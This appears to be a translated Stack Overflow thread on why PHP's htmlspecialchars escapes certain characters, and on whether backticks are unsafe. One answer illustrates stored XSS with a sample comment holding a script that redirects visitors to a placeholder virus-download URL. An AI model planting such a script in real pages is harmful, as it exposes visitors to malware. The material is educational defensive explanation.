html - 为什么这 5(6?)个字符被视为 "unsafe"HTML 字符?

标签 html escaping code-injection javascript-injection html-injections

在PHP 中,有一个函数叫做htmlspecialchars()。对字符串执行以下替换:

  • & (&符号)转换为 &
  • " (双引号)转换为 "
  • ' (单引号)转换为 ' (仅当设置标志 ENT_QUOTES 时)
  • < (小于)转换为 &lt;
  • > (大于)转换为 &gt;

显然,这样做是因为这 5 个特定字符是不安全的 HTML 字符

我能理解为什么最后两个被认为是不安全的:如果它们只是“回显”,则可以传递任意/危险的 HTML,包括带有 <script> 的潜在 javascript等等。

问题 1. 为什么前三个字符(& 符号、双引号、单引号)也被视为“不安全”?


另外,我偶然发现了this library called "he" on GitHub (by Mathias Bynens) ,这是关于编码/解码 HTML 实体。在那里,我发现了以下内容:

[...] characters that are unsafe for use in HTML content (&, <, >, ", ', and `) will be encoded. [...]

( source )

问题 2. 是否有充分的理由将反引号视为另一个不安全的 HTML 字符?如果是,是否意味着上述 PHP 函数已过时?


最后,所有这些都引出了一个问题:

问题 3。除了上面提到的 5/6 个字符之外,还有其他字符应该被视为“不安全”吗?

最佳答案

Donovan_D 的回答几乎解释了这一点,但我将在此处提供一些示例,说明具体这些特定字符如何导致问题。

这些字符被认为是不安全的,因为它们是执行 XSS(跨站点脚本)攻击(或因无辜输入而意外破坏页面)的最明显方式。

考虑网站上的评论功能。您提交带有文本区域的表单。它被保存到数据库中,然后显示在所有访问者的页面上。

现在我提交一个看起来像这样的评论。

<script type="text/javascript">
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>

突然间,访问您页面的每个人都被重定向到病毒下载。这里天真的方法只是说,好吧,那么让我们过滤掉该攻击中的一些重要字符:

<>将替换为 &lt;&gt;现在突然间我们的脚本不再是脚本了。这只是一些看起来像 html 的文本。

类似的情况会出现类似的评论

Something is <<wrong>> here.

假设用户使用了 <<...>>出于某种原因强调。他们的评论将呈现为

Something is <> here.

显然不是理想的行为。

& 出现了一种不太恶意的情况. &用于表示 HTML 实体,例如 &amp;&quot;&lt;等等。因此,看起来无辜的文本很容易意外地成为 html 实体,最终对用户来说看起来非常不同且非常奇怪。

考虑评论

I really like #455 &#243; please let me know when they're available for purchase.

这将呈现为

I really like #455 ó please let me know when they're available for purchase.

显然不是预期的行为。

关键是,这些符号在大多数情况下被认为是防止大多数 XSS 漏洞/错误的关键,因为它们很可能用于有效输入,但需要转义才能在 HTML 中正确呈现。

关于你的第二个问题,我个人并不知道反引号应该被视为不安全的 HTML 字符的任何方式。

至于你的第三个,也许吧。不要依赖黑名单来过滤用户输入。相反,使用已知 OK 输入的白名单并从那里开始工作。

关于html - 为什么这 5(6?)个字符被视为 "unsafe"HTML 字符?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42728605/

相关文章:

javascript - 在哪里保存html模板?

html - 我试图在我的 block 中有两列,但是,内容溢出到 block 外。我该如何解决?

ios - 正则表达式中应该转义什么字符

javascript - 针对远程 URL 对本地 JavaScript 文件进行单元测试

javascript - AngularJS 和 Jquery 的混合

html - 使用 JQuery Mobile 强制两个元素在同一行中彼此相邻的任何方法?

javascript - 阻止执行 JQuery 加载的示例脚本

.net - SQL 查询中的转义字符

google-chrome-extension - Chrome 扩展中的 JavaScript 注入(inject)

javascript - 查找 iframe 注入(inject)并从站点中删除